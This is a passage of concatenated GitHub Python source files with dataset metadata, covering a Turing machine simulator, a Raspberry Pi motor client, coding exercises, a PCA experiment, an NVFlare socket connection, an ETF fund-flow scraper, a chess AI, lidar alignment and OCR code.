实质上不使用。\n\"\"\"","repo_name":"skyaiolos/selenium2_python","sub_path":"chaptre8_AutoTestingAdvenceApp/sec02_8.2.4_multiprocessing_process1.py","file_name":"sec02_8.2.4_multiprocessing_process1.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"20097752503","text":"\ndef turing_M (state = None, #estados de la maquina de turing\n              blank = None, #simbolo blanco de el alfabeto dela cinta\n              rules = [],   #reglas de transicion\n              tape = [],    #cinta\n              final = None,  #estado valido y/o final\n              pos = 0):#posicion siguiente de la maquina de turing\n\n   #se verifica que la cinta no este vacía\n    st = state\n    if not tape: \n        tape = [blank]   \n    if pos <0 : pos += len(tape)\n    if pos >= len(tape) or pos < 0 : raise Error (\"Se inicializa mal la posicion\")\n\n     #Declaramos la estructura de las reglas por medio de un dicccionario de datos:\n    #s0 = stado inicial, v0 = símbolo inicial, v1 = simbolo escrito, dr = la dirección o movimiento s1 = estado  siguiente, \n    # for -Repetir desde la primera regla, hasta la última en Rules    \n    rules = dict(((s0, v0), (v1, dr, s1)) for (s0, v0, v1, dr, s1) in rules) \n   \n    while True: #leer las reglas y la cinta\n        print (st, '\\t', end=\" \")\n        for i, v in enumerate(tape):\n             if i==pos: print (\"[%s]\"%(v,),end=\" \")\n             else: print (v, end=\" \")    \n        print()\n        \n        if st == final: \n            print('Llegó a la aceptacion')#cuando no llega en el estado de aceptacion\n            break\n        if (st, tape[pos]) not in rules: \n            break\n        \n        (v1,dr,s1) = rules [(st, tape[pos])]\n        tape[pos]=v1 #rescribe el simbolo de la cinta\n    \n    #movimiento del cabezal\n        if dr == 'left':\n            if pos > 0: pos -= 1\n            else: \n                tape.insert(0, blank)\n                \n        if dr == 'right':\n            pos += 1\n            if pos >=len(tape): \n                tape.append('x')\n                print('')\n                print('No llega a la aceptacion')#cuando llega al estado de aceptacion en el autómata\n                print('')\n    \n        st = s1\n\n\n#se puede cambiar las reglasde transicion para otra maquina de turing\nturing_M (state = 'q0', #estado inicial de la maquina de turing\n              blank = 'b', #simbolo blanco de el alfabeto dela cinta\n              tape = list(\"10010\"),#inserta los elementos en la cinta\n              final = 'q3',  #estado valido y/o final\n              rules = map(tuple,#reglas de transicion\n                          [\n                          \"q0 0 E right q2\".split(),\n                          \"q0 1 T right q0\".split(),\n                          \"q2 0 C right q2\".split(),\n                          \"q2 1 N right q1\".split(),\n                          \"q1 0 M left q3\".split(),\n                          \"q1 1 H right q1\".split(),\n\n                          ]   \n                         )\n             )    \n\n#COMENTARIO IMPORTANTE\n#CUANDO LOS FALTAN LETRAS PARA LLEGAR A LA ACEPTACION SE MANDA MENSAJE\n#CUANDO SOBRAN LETRAS, PERO SE LLEGA A CUMPLIR EL AUTÓMATA NOS LO TOMA COMO BUENA","repo_name":"cecilioct/maquinaturing","sub_path":"maquina.py","file_name":"maquina.py","file_ext":"py","file_size_in_byte":2894,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"20511611699","text":"import RPi.GPIO as GPIO\r\nimport time\r\nimport socket\r\nimport barcode_reader as br\r\n\r\nHOST = '10.0.0.215'  # Enter IP or Hostname of your server\r\n# Pick 345an open Port (1000+ recommended), must match the server port\r\nPORT = 12397  # new comment\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((HOST, PORT))\r\n\r\n# Import required modules\r\n\r\n\r\ndef forward():\r\n    GPIO.setwarnings(False)\r\n\r\n    # Declare the GPIO settings\r\n    GPIO.setmode(GPIO.BCM)\r\n\r\n    # set up GPIO pins\r\n    GPIO.setup(5, GPIO.OUT)  # Connected to AIN2\r\n    GPIO.setup(6, GPIO.OUT)  # Connected to AIN1\r\n    GPIO.setup(13, GPIO.OUT)  # Connected to STBY\r\n    GPIO.setup(18, GPIO.OUT)  # Connected to PWMA\r\n    # Thread(target=run_server).start()\r\n    pwm = GPIO.PWM(18, 1000)\r\n    # Drive the motor clockwise\r\n    GPIO.output(6, GPIO.HIGH)  # Set AIN1\r\n    GPIO.output(5, GPIO.LOW)  # Set AIN2\r\n\r\n    # Set the motor speed\r\n    # GPIO.output(18, GPIO.HIGH) # Set PWMA\r\n    pwm.start(50)\r\n\r\n    # Disable STBY (standby)\r\n    GPIO.output(13, GPIO.HIGH)\r\n\r\n    # Wait 5 seconds\r\n    time.sleep(22)\r\n    # GPIO.output(18, GPIO.LOW) # Set PWMA\r\n    # time.sleep(2.5)\r\n    # # pwm = GPIO.PWM(18, 1000)\r\n    # pwm.start(50)\r\n    pwm.stop()\r\n    GPIO.output(6, GPIO.LOW)  # Set AIN1\r\n    GPIO.output(5, GPIO.LOW)  # Set AIN2\r\n    pwm.stop()\r\n    GPIO.output(13, GPIO.LOW)  # Set STBY\r\n    GPIO.cleanup()\r\n\r\n\r\ndef backward():\r\n    GPIO.setwarnings(False)\r\n\r\n    # Declare the GPIO settings\r\n    GPIO.setmode(GPIO.BCM)\r\n\r\n    # set up GPIO pins\r\n    GPIO.setup(5, GPIO.OUT)  # Connected to AIN2\r\n    GPIO.setup(6, GPIO.OUT)  # Connected to AIN1\r\n    GPIO.setup(13, GPIO.OUT)  # Connected to STBY\r\n    GPIO.setup(18, GPIO.OUT)  # Connected to PWMA\r\n    # Thread(target=run_server).start()\r\n    pwm = GPIO.PWM(18, 1000)\r\n    # Drive the motor counterclockwise\r\n    GPIO.output(6, GPIO.LOW)  # Set AIN1\r\n    GPIO.output(5, GPIO.HIGH)  # Set AIN2\r\n    pwm.start(50)\r\n\r\n    # Wait 5 seconds\r\n    time.sleep(25)\r\n\r\n    # Reset all the GPIO pins by setting them to LOW\r\n    GPIO.output(6, GPIO.LOW)  # Set AIN1\r\n    GPIO.output(5, GPIO.LOW)  # Set AIN2\r\n    pwm.stop()\r\n    GPIO.output(13, GPIO.LOW)  # Set STBY\r\n    GPIO.cleanup()\r\n\r\n\r\n# Lets loop awaiting for your input\r\nwhile True:\r\n    # command = 'Client ready'\r\n    # s.send(command)\r\n    msg = s.recv(1024)\r\n    if msg:\r\n        if msg == 'forward':\r\n            forward()\r\n            s.send('Done forward')\r\n        elif msg == 'backward':\r\n            backward()\r\n            s.send('Done backward')\r\n","repo_name":"Afronut/Mechatronics_Robotics_Team","sub_path":"roomba/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"33429451603","text":"string = input().split(\", \")\nlist_of_sheep = []\nindex_wolf = 0\nnumber_of_sheep = 0\nflag = False\n\nfor i in range(len(string))[::-1]:\n    if string[i] == \"sheep\":\n        number_of_sheep += 1\n        flag = True\n    elif string[i] == \"wolf\":\n        break\n\nif flag:\n    print(f\"Oi! Sheep number {number_of_sheep}! You are about to be eaten by a wolf!\")\nelse:\n    print(\"Please go away and stop eating my sheep\")\n","repo_name":"Aleksey-Kostov/Fundamentals-SoftUni-A.Kostov","sub_path":"more_exercises_basic_syntax_conditional_statements_and_loops/wolf_in_sheep's_clothing.py","file_name":"wolf_in_sheep's_clothing.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"35078593848","text":"\n# after some paper work, the only case where this can happen is when \n# 1 <= a, b, c <= 9\n# we have the form BA/AC = B/C, as in the example (a = 9, b = 4, c = 8)\n# and 9bc + ac = 10ab\n\nfrom fractions import Fraction\n\nprod = Fraction(1, 1)\n\nfor a in range(1, 10):\n\tfor b in range(1, 10):\n\t\tfor c in range(1, 10):\n\t\t\tif 9 * b * c + a * c == 10 * a * b:\n\t\t\t\tprod *= Fraction(10 * b + a, 10 * a + c)\n\nprint(prod.denominator)\n\t\t\t\n","repo_name":"peterlew/euler-python","sub_path":"p33.py","file_name":"p33.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"14688711122","text":"# Задача 32: Определить индексы элементов массива (списка), \n# значения которых принадлежат заданному диапазону \n# (т.е. не меньше заданного минимума и не больше заданного максимума)\nfrom random import randint\nmin_elem = int(input(\"Введите минимальный эллемент: \"))\nmax_elem = int(input(\"Введите максимальный эллемент: \"))\nnew_list = []\nindex_elem_list = []\nfor i in range(20):\n    new_list.append(randint(-50, 50))\n    if max_elem > new_list[i] > min_elem:\n        index_elem_list.append(i)\nprint(new_list)\nprint(index_elem_list)\n\n","repo_name":"luckydn/py_hw","sub_path":"hw6/task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"23893611362","text":"from typing import Tuple\n\nfrom app.lib.models import BaseCalculationInputModel\n\n\nclass CalculationInputModel(BaseCalculationInputModel):\n    minimum_yearly_income: int\n    exclude_maried: bool\n    body_fat_range: Tuple[float, float]\n    age_range: Tuple[int, int]\n    height_range: Tuple[float, float]\n\n    model_config = {\n        \"json_schema_extra\": {\n            \"examples\": [\n                {\n                    \"gender\": \"male\",\n                    \"sexual_orientation\": \"gay\",\n                    \"minimum_yearly_income\": 100000,\n                    \"exclude_maried\": True,\n                    \"body_fat_range\": (8.5, 12.5),\n                    \"age_range\": (18, 25),\n                    \"height_range\": (6.2, 6.5),\n                },\n            ]\n        }\n    }\n","repo_name":"Arcadiyyyyyyyy/partner_finding_probability","sub_path":"backend/api/app/lib/partner_finding_probability/calculations/us/models/_CalculationInputModel.py","file_name":"_CalculationInputModel.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"2281990023","text":"import numpy as np\nfrom tqdm import tqdm\nfrom sklearn.decomposition import PCA\n\n# Number of clusters\nk = 4\n# Points per cluster\nn = 5\n# Number of dimensions\nd = 100\n\n# Create empty numpy array\nX = np.empty((0, d))\n\n# Create cluster centers\nfor i in range(k):\n    # Random center\n    center = np.random.normal(i, 1, d)\n    # Append points to X\n    X = np.vstack((X, center))\n\n# Compute Euclidean distance matrix between each cluster center\nD = np.zeros((k, k))\nfor i in range(k):\n    for j in range(k):\n        D[i, j] = np.linalg.norm(X[i] - X[j])\n\nprint(\"Center distances are\",D)\n\nsigma=2\nY = np.empty((0, d))\nfor i in range(k): \n    for j in range(n): \n        # Random point\n        point = X[i] + np.random.normal(0, sigma, d)\n        # Append point to Y\n        Y = np.vstack((Y, point))\n\nprint(\"Average noise perturbation is\",sigma*np.sqrt(d))\n\n\n# print(Y)\n\n# Compute Euclidean distance matrix between each point\nD = np.zeros((n * k, n * k))\nfor i in tqdm(range(n * k)):\n    for j in range(n * k):\n        D[i, j] = np.linalg.norm(Y[i] - Y[j])\n\nprint(\"Pre PCA distances\")\n#print(D)\n\npca = PCA(n_components=(k - 1))\npca.fit(Y)\nY_pca = pca.transform(Y)\n\nD_pca = np.zeros((n * k, n * k))\nfor i in tqdm(range(n * k)):\n    for j in range(n * k):\n        D_pca[i, j] = np.linalg.norm(Y_pca[i] - Y_pca[j])\n\n# Compute compression matrix\nC = D / D_pca\n#print(C)\n\navg_intracluster_compression = np.zeros(k)\navg_intercluster_compression = np.zeros(k)\nfor i in range(k):\n    for j in range(i * n, (n * (i + 1)) - 1): \n        for l in range(i * n, (n * (i + 1)) - 1): \n            if j >= l: \n                continue\n            avg_intracluster_compression[i] += C[j, l]\n\n        t1=range(i * n, (n * (i + 1)) - 1)\n        t2=[m for m in range(k * n)]\n        t3=set(t2).difference(set(t1))\n        \n    \n        for l in list(t3):\n            avg_intercluster_compression[i] += C[j, l]\n\n\n# n choose 2\navg_intracluster_compression /= (n * (n - 1)) / 2\navg_intercluster_compression /= (n * ((k - 1) * n))\nprint(avg_intracluster_compression)\nprint(avg_intercluster_compression)\n\n","repo_name":"nikhilnd/pca-compression","sub_path":"old_scripts/compression.py","file_name":"compression.py","file_ext":"py","file_size_in_byte":2073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"40439349583","text":"import logging\nimport socket\nfrom socketserver import BaseRequestHandler\nfrom typing import Any, Union\n\nfrom nvflare.fuel.f3.comm_error import CommError\nfrom nvflare.fuel.f3.connection import BytesAlike, Connection\nfrom nvflare.fuel.f3.drivers.driver import ConnectorInfo\nfrom nvflare.fuel.f3.drivers.driver_params import DriverParams\nfrom nvflare.fuel.f3.drivers.net_utils import MAX_FRAME_SIZE\nfrom nvflare.fuel.f3.sfm.prefix import PREFIX_LEN, Prefix\nfrom nvflare.fuel.hci.security import get_certificate_common_name\nfrom nvflare.security.logging import secure_format_exception\n\nlog = logging.getLogger(__name__)\n\n\nclass SocketConnection(Connection):\n    def __init__(self, sock: Any, connector: ConnectorInfo, secure: bool = False):\n        super().__init__(connector)\n        self.sock = sock\n        self.secure = secure\n        self.closing = False\n        self.conn_props = self._get_socket_properties()\n\n    def get_conn_properties(self) -> dict:\n        return self.conn_props\n\n    def close(self):\n        self.closing = True\n\n        if self.sock:\n            try:\n                self.sock.shutdown(socket.SHUT_RDWR)\n            except OSError as error:\n                log.debug(f\"Connection {self} is already closed: {error}\")\n\n            self.sock.close()\n\n    def send_frame(self, frame: BytesAlike):\n        try:\n            self.sock.sendall(frame)\n        except Exception as ex:\n            if not self.closing:\n                raise CommError(CommError.ERROR, f\"Error sending frame on conn {self}: {secure_format_exception(ex)}\")\n\n    def read_loop(self):\n        try:\n            self.read_frame_loop()\n        except CommError as error:\n            if error.code == CommError.CLOSED:\n                log.debug(f\"Connection {self.name} is closed by peer\")\n            else:\n                log.debug(f\"Connection {self.name} is closed due to error: {error}\")\n        except Exception as ex:\n            if self.closing:\n                log.debug(f\"Connection {self.name} is closed\")\n            else:\n                log.debug(f\"Connection {self.name} is closed due to error: {secure_format_exception(ex)}\")\n\n    def read_frame_loop(self):\n        # read_frame throws exception on stale/bad connection so this is not a dead loop\n        while not self.closing:\n            frame = self.read_frame()\n            self.process_frame(frame)\n\n    def read_frame(self) -> BytesAlike:\n\n        prefix_buf = bytearray(PREFIX_LEN)\n        self.read_into(prefix_buf, 0, PREFIX_LEN)\n        prefix = Prefix.from_bytes(prefix_buf)\n\n        if prefix.length == PREFIX_LEN:\n            return prefix_buf\n\n        if prefix.length > MAX_FRAME_SIZE:\n            raise CommError(CommError.BAD_DATA, f\"Frame exceeds limit ({prefix.length} > {MAX_FRAME_SIZE}\")\n\n        frame = bytearray(prefix.length)\n        frame[0:PREFIX_LEN] = prefix_buf\n        self.read_into(frame, PREFIX_LEN, prefix.length - PREFIX_LEN)\n\n        return frame\n\n    def read_into(self, buffer: BytesAlike, offset: int, length: int):\n        if isinstance(buffer, memoryview):\n            view = buffer\n        else:\n            view = memoryview(buffer)\n\n        if offset:\n            view = view[offset:]\n\n        remaining = length\n        while remaining:\n            n = self.sock.recv_into(view, remaining)\n            if n == 0:\n                raise CommError(CommError.CLOSED, f\"Connection {self.name} is closed by peer\")\n            view = view[n:]\n            remaining -= n\n\n    @staticmethod\n    def _format_address(addr: Union[str, tuple], fileno: int) -> str:\n\n        if isinstance(addr, tuple):\n            result = f\"{addr[0]}:{addr[1]}\"\n        else:\n            result = f\"{addr}:{fileno}\"\n\n        return result\n\n    def _get_socket_properties(self) -> dict:\n        conn_props = {}\n\n        try:\n            peer = self.sock.getpeername()\n            fileno = self.sock.fileno()\n        except OSError as ex:\n            peer = \"N/A\"\n            fileno = 0\n            log.debug(f\"getpeername() error: {secure_format_exception(ex)}\")\n\n        conn_props[DriverParams.PEER_ADDR.value] = self._format_address(peer, fileno)\n\n        local = self.sock.getsockname()\n        conn_props[DriverParams.LOCAL_ADDR.value] = self._format_address(local, fileno)\n\n        if self.secure:\n            cert = self.sock.getpeercert()\n            if cert:\n                cn = get_certificate_common_name(cert)\n            else:\n                cn = \"N/A\"\n            conn_props[DriverParams.PEER_CN.value] = cn\n\n        return conn_props\n\n\nclass ConnectionHandler(BaseRequestHandler):\n    def handle(self):\n\n        # noinspection PyUnresolvedReferences\n        connection = SocketConnection(self.request, self.server.connector, self.server.ssl_context)\n        # noinspection PyUnresolvedReferences\n        driver = self.server.driver\n\n        driver.add_connection(connection)\n        connection.read_loop()\n        driver.close_connection(connection)\n","repo_name":"NVIDIA/NVFlare","sub_path":"nvflare/fuel/f3/drivers/socket_conn.py","file_name":"socket_conn.py","file_ext":"py","file_size_in_byte":4940,"program_lang":"python","lang":"en","doc_type":"code","stars":455,"dataset":"github-code","pt":"47"}
{"seq_id":"16355287172","text":"import pandas as pd\nimport requests as req\nimport numpy as np\n\n# Read Blackrock's products list\nxl = pd.read_excel('assets/product-screener.xlsx')\ncols = ['URL','Asset Class','Sub Asset Class','Region','Market']\n\n# Filter out non UCITS ETFs\nxl = xl[xl.Name.str.lower().str.contains('ucits').replace(np.NaN,False)][cols]\n\n# Add ajax file suffix to generate the request link\nxl['Download'] = xl.URL +'/1541728496966.ajax?fileType=xls'\n\n# Fund name\nxl['name'] = [i[-1] for i in xl.URL.str.split('/')]\n\n# Fund id\nxl['fund_id'] = [i[-2] for i in xl.URL.str.split('/')]\n\n\n\ndef fetch_blackrock_xml(url):\n    \n    # Read url\n    r = req.get(url)\n    \n    # Specify xpath and namespace, read as xml\n    res = pd.read_xml(r.text.replace('\\ufeff\\ufeff',''),\n                xpath='''//ss:Worksheet[@ss:Name='Historical']//ss:Data''',\n                namespaces={\"ss\": \"urn:schemas-microsoft-com:office:spreadsheet\"})\n\n    # To pandas\n    res = pd.DataFrame(res['Data'].values.reshape(-1,7))\n\n    # Handle columns\n    res.columns = res.loc[0].values\n    res.drop(0,inplace=True)\n\n    # Handle index/dates\n    res.index = pd.to_datetime(res['As Of'])\n    res.drop(['As Of'],axis=1, inplace=True)\n    res.sort_index(inplace=True)\n\n    # Replace certain values\n    res.replace(['--','-',''],np.NaN, inplace=True)\n\n    # Values to float\n    res.iloc[:,1:] = res.iloc[:,1:].astype(float)\n\n    # Set as null every row with a missing NAV\n    res[res['NAV per Share'].isnull()] = np.NaN\n\n    # Fill forward\n    res.ffill(inplace=True)\n\n    # \"Flows\" = daily difference in Net Assets\n    res['Flows'] = res['Total Net Assets'].diff()\n\n    # Flows as % of assets\n    res['1wF/A'] = (res['Flows'].rolling(5).sum()/res['Total Net Assets'])\n    res['1mF/A'] = (res['Flows'].rolling(21).sum()/res['Total Net Assets'])\n    res['3mF/A'] = (res['Flows'].rolling(21*3).sum()/res['Total Net Assets'])\n    res['12mF/A'] = (res['Flows'].rolling(21*12).sum()/res['Total Net Assets'])\n    \n    return res\n\n# Fetch data\nflows = dict()\nfor url in xl['Download']:\n    fund_id = url.split('products/')[1].split('/')[0]\n    try:\n        flows[fund_id] = fetch_blackrock_xml(url)\n    except:\n        print('Could not retrieve data for', fund_id)\n        flows[fund_id] = 'N/A'","repo_name":"bearloop/blackrock-fund-flows","sub_path":"fund-flows.py","file_name":"fund-flows.py","file_ext":"py","file_size_in_byte":2235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"8314226188","text":"\"\"\"\nVarious tools that can be importe and used by detfiles\n\"\"\"\nimport datetime\nimport re\n# pylint: disable=unused-import\nfrom urllib.request import urlretrieve as wget\n\n\ndef strip_colors(string: str) -> str:\n    \"\"\"Remove all the ANSI escape sequences from the given string.\n    This will strip all color from output.\n\n    Args:\n        string: The string to remove the data from\n\n    Returns:\n        str: The new string without all the ANSI escapes\n    \"\"\"\n    ansicodes = re.compile(r'\\x1B\\[[0-?]*[ -/]*[@-~]')\n    return ansicodes.sub('', string)\n\n\ndef save_results(path, result):\n    \"\"\"Write the output of a command to the given filename.\n    The file contains the stdin, stdout and timestamp of the result\n\n    Args:\n        path (str): the filename to save to\n        result (dict): the result of a `script` or `run` command\n\n    Returns:\n        bool: whether or not the save was successful\n\n\n    \"\"\"\n    try:\n        now = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n        with open(path, 'a') as outf:\n            outf.write(now+\"\\n\")\n            outf.write(result.get('stdout', ''))\n            outf.write(\"\\n-- Stderr --\\n\")\n            outf.write(result.get('stderr', ''))\n        return True\n    except IOError as exception:\n        print(exception)\n        return False\n\ndef log_action(action, host=\"\"):\n    '''Write a log to a logfile\n    '''\n    try:\n        now = datetime.datetime.now().strftime(\"%H:%M:%S\")\n        with open(\"logs/actions.log\", 'a') as outf:\n            outf.write(\"{}: [{}] {}\\n\".format(now, host, action))\n        return True\n    except IOError:\n        return False\n","repo_name":"micahjmartin/detcord","sub_path":"detcord/toolbox.py","file_name":"toolbox.py","file_ext":"py","file_size_in_byte":1619,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"47"}
{"seq_id":"23427302692","text":"import mpl_interactions.ipyplot as iplt\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport cv2\nimport os\n\ndef lid_pre_process(xyz):\n    o =  0 \n    if np.size(xyz,1) != 3:\n        xyz = np.transpose(xyz)\n        \n    if np.size(xyz,1) != 3:\n        xyz = np.transpose(np.array([xyz[:,0],xyz[:,1],xyz[:,2]]))\n\n    #lidar_pc = np.transpose(lidar_pc[0:3,:])\n    \n    #lidar_pc[:,o] = -lidar_pc[:,o] \n    #lidar_pc = np.transpose(np.array([lidar_pc[:,1],lidar_pc[:,0],lidar_pc[:,2]]))\n    return xyz\n\n# Project lidar points into camera coordinates\ndef lidar2cam(lidar_pc,rvec,tvec,intrinsics):\n    \n    dist_coeffs = np.zeros((4,1)) # Assuming no lens distortion\n\n    lidar_px, _ = cv2.projectPoints(lidar_pc, rvec, tvec, intrinsics, dist_coeffs)\n    lidar_px = np.squeeze(lidar_px)\n    return lidar_px \n\n\ncole_path = '/home/parallels/test.bag'\n#nick_path = '/home/nick/catkin_ws/smartbases/bobby_dat'\npath = cole_path\n\n\n\n# get the information \nimages = [ cv2.imread(path + \"/Images/\" + filename) for filename in os.listdir(path + \"/Images/\")]\n\nleftlid = [ lid_pre_process(np.loadtxt(path + \"/LftLidar/\" + filename, delimiter=',')) for filename in os.listdir(path + \"/LftLidar/\") if \".txt\" in filename]\nrightlid = [ lid_pre_process(np.loadtxt(path + \"/RgtLidar/\" + filename, delimiter=',')) for filename in os.listdir(path + \"/RgtLidar/\") if \".txt\" in filename]\n\n\nfocal_length = [606.1387,603.1641]\n    \ncenter = [959.0102,599.6154]\n\nintrinsics = np.array([[focal_length[0], 0, center[0]],\n                       [0, focal_length[1], center[1]],\n                       [0, 0, 1]], dtype = \"double\"\n                       ) \n\nX = np.linspace(0, 100)\nY = np.linspace(0, 100)\nZ = np.linspace(0, 100)\nRoll = np.linspace(0, 100)\nPitch = np.linspace(0, 100)\nYaw = np.linspace(0, 100)\n\ntvec = np.array((3, 1))\nrvec = np.array((3, 1))\n\nindex = 0\n\nimg = images[index]\npc = leftlid[index]\n\ndef call_x(t_x, t_y, t_z, r, p, ya):\n    tvec = np.array([[float(t_x)], [float(t_y)], [float(t_z)]])\n    rvec = np.array([[float(r)], [float(p)], [float(ya)]])\n    lidar_pic = lidar2cam(pc, rvec, tvec, intrinsics)\n    print(len(lidar_pic[:,1]), len(lidar_pic[:,0]))\n    return lidar_pic[:,1]#, lidar_pic[:,0]]\n\ndef call_y(t_x, t_y, t_z, r, p, ya):\n    tvec = np.array([[float(t_x)], [float(t_y)], [float(t_z)]])\n    rvec = np.array([[float(r)], [float(p)], [float(ya)]])\n    lidar_pic = lidar2cam(pc, rvec, tvec, intrinsics)\n    print(len(lidar_pic[:,1]), len(lidar_pic[:,0]))\n    return lidar_pic[:,0]\n\n\n\n# lidar_pic = lidar2cam(pc, rvec, tvec, intrinsics)\nfig, ax = plt.subplots()\nax.imshow(img)\n# plt.scatter(lidar_picure[:,1], lidar_picure[:,0],s=1)\n\ncontrols = iplt.scatter(call_x, call_y, t_x=X, t_y=Y, t_z=Z, r=Roll, p=Pitch, ya=Yaw)\n# iplt.scatter(x, f2, controls=controls, label=\"f2\")\n\n# plt.show()\n","repo_name":"radetich/college-code","sub_path":"smartbases_tools/humantfaligner/k_align.py","file_name":"k_align.py","file_ext":"py","file_size_in_byte":2791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"19161465580","text":"import copy\nimport random\nfrom multiprocessing import Pool\n\nfrom Board import Board\nfrom InputParser import InputParser\nfrom MoveNode import MoveNode\n\nWHITE = True\nBLACK = False\n\n\nclass AI:\n\n    depth = 1\n    board = None\n    side = None\n    movesAnalyzed = 0\n\n    def __init__(self, board, side, depth):\n        self.board = board\n        self.side = side\n        self.depth = depth\n        self.parser = InputParser(self.board, self.side)\n\n    def getFirstMove(self, side):\n        move = list(self.board.getAllMovesLegal(side))[0]\n        return move\n\n    def getAllMovesLegalConcurrent(self, side):\n        p = Pool(8)\n        unfilteredMovesWithBoard = \\\n            [(move, copy.deepcopy(self.board))\n             for move in self.board.getAllMovesUnfiltered(side)]\n        legalMoves = p.starmap(self.returnMoveIfLegal,\n                               unfilteredMovesWithBoard)\n        p.close()\n        p.join()\n        return list(filter(None, legalMoves))\n\n    def minChildrenOfNode(self, node):\n        lowestNodes = []\n        for child in node.children:\n            if not lowestNodes:\n                lowestNodes.append(child)\n            elif child < lowestNodes[0]:\n                lowestNodes = []\n                lowestNodes.append(child)\n            elif child == lowestNodes[0]:\n                lowestNodes.append(child)\n        return lowestNodes\n\n    def maxChildrenOfNode(self, node):\n        highestNodes = []\n        for child in node.children:\n            if not highestNodes:\n                highestNodes.append(child)\n            elif child < highestNodes[0]:\n                highestNodes = []\n                highestNodes.append(child)\n            elif child == highestNodes[0]:\n                highestNodes.append(child)\n        return highestNodes\n\n    def getRandomMove(self):\n        legalMoves = list(self.board.getAllMovesLegal(self.side))\n        randomMove = random.choice(legalMoves)\n        return randomMove\n\n    def generateMoveTree(self):\n        moveTree = []\n        for move in self.board.getAllMovesLegal(self.side):\n            moveTree.append(MoveNode(move, [], None))\n\n        for node in moveTree:\n            self.board.makeMove(node.move)\n            self.populateNodeChildren(node)\n            self.board.undoLastMove()\n        return moveTree\n\n    def populateNodeChildren(self, node):\n        node.pointAdvantage = self.board.getPointAdvantageOfSide(self.side)\n        node.depth = node.getDepth()\n        if node.depth == self.depth:\n            return\n\n        side = self.board.currentSide\n\n        legalMoves = self.board.getAllMovesLegal(side)\n        if not legalMoves:\n            if self.board.isCheckmate():\n                node.move.checkmate = True\n                return\n            elif self.board.isStalemate():\n                node.move.stalemate = True\n                node.pointAdvantage = 0\n                return\n            raise Exception()\n\n        for move in legalMoves:\n            self.movesAnalyzed += 1\n            node.children.append(MoveNode(move, [], node))\n            self.board.makeMove(move)\n            self.populateNodeChildren(node.children[-1])\n            self.board.undoLastMove()\n\n    def getOptimalPointAdvantageForNode(self, node):\n        if node.children:\n            for child in node.children:\n                child.pointAdvantage = \\\n                    self.getOptimalPointAdvantageForNode(child)\n\n            # If the depth is divisible by 2,\n            # it's a move for the AI's side, so return max\n            if node.children[0].depth % 2 == 1:\n                return(max(node.children).pointAdvantage)\n            else:\n                return(min(node.children).pointAdvantage)\n        else:\n            return node.pointAdvantage\n\n    def getBestMove(self):\n        moveTree = self.generateMoveTree()\n        bestMoves = self.bestMovesWithMoveTree(moveTree)\n        randomBestMove = random.choice(bestMoves)\n        randomBestMove.notation = self.parser.notationForMove(randomBestMove)\n        return randomBestMove\n\n    def makeBestMove(self):\n        self.board.makeMove(self.getBestMove())\n\n    def bestMovesWithMoveTree(self, moveTree):\n        bestMoveNodes = []\n        for moveNode in moveTree:\n            moveNode.pointAdvantage = \\\n                self.getOptimalPointAdvantageForNode(moveNode)\n            if not bestMoveNodes:\n                bestMoveNodes.append(moveNode)\n            elif moveNode > bestMoveNodes[0]:\n                bestMoveNodes = []\n                bestMoveNodes.append(moveNode)\n            elif moveNode == bestMoveNodes[0]:\n                bestMoveNodes.append(moveNode)\n\n        return [node.move for node in bestMoveNodes]\n\n    def isValidMove(self, move, side):\n        for legalMove in self.board.getAllMovesLegal(side):\n            if move == legalMove:\n                return True\n        return False\n\n    def makeRandomMove(self):\n        moveToMake = self.getRandomMove()\n        self.board.makeMove(moveToMake)\n\n\nif __name__ == \"__main__\":\n    mainBoard = Board()\n    ai = AI(mainBoard, True, 3)\n    print(mainBoard)\n    ai.makeBestMove()\n    print(mainBoard)\n    print(ai.movesAnalyzed)\n    print(mainBoard.movesMade)\n","repo_name":"eleboss/TA_tools","sub_path":"command-line-chess/src/AI.py","file_name":"AI.py","file_ext":"py","file_size_in_byte":5179,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"72809270222","text":"# main algorithm\nimport queue\nimport threading\n\nimport cv2\n\nfrom common import Common\nfrom element_extraction import ElementExtraction\nfrom postprocess import Postprocess\nfrom preprocessing import Preprocess\n\nq = queue.Queue()\n\n\ndef extractor(name, patch, i):  # a function which will run parallely on threads to do the ocr for each roi\n    if name == \"first_name\" or name == \"last_name\" or name == \"address\":\n        all_words = []\n        iters = 6\n        occurances = 3\n        for factor in range(iters):  # we scan multiple times for highest ocr accuracy\n            roi = Common().get_padded_box(i, side_pad_factor=5, vertical_pad_factor=factor)\n            cropped = Common().crop(roi, patch)\n            extracted = Postprocess().tess_ocr(cropped, name)\n            for word in extracted[1]:\n                all_words.append(word)\n        x = Common().most_occured(all_words, name, occurances)\n        final = [name, x]\n    else:\n        roi = Common().get_padded_box(i, side_pad_factor=5,\n                                      vertical_pad_factor=5)  # if multiple scanning is not required\n        cropped = Common().crop(roi, patch)\n        final = 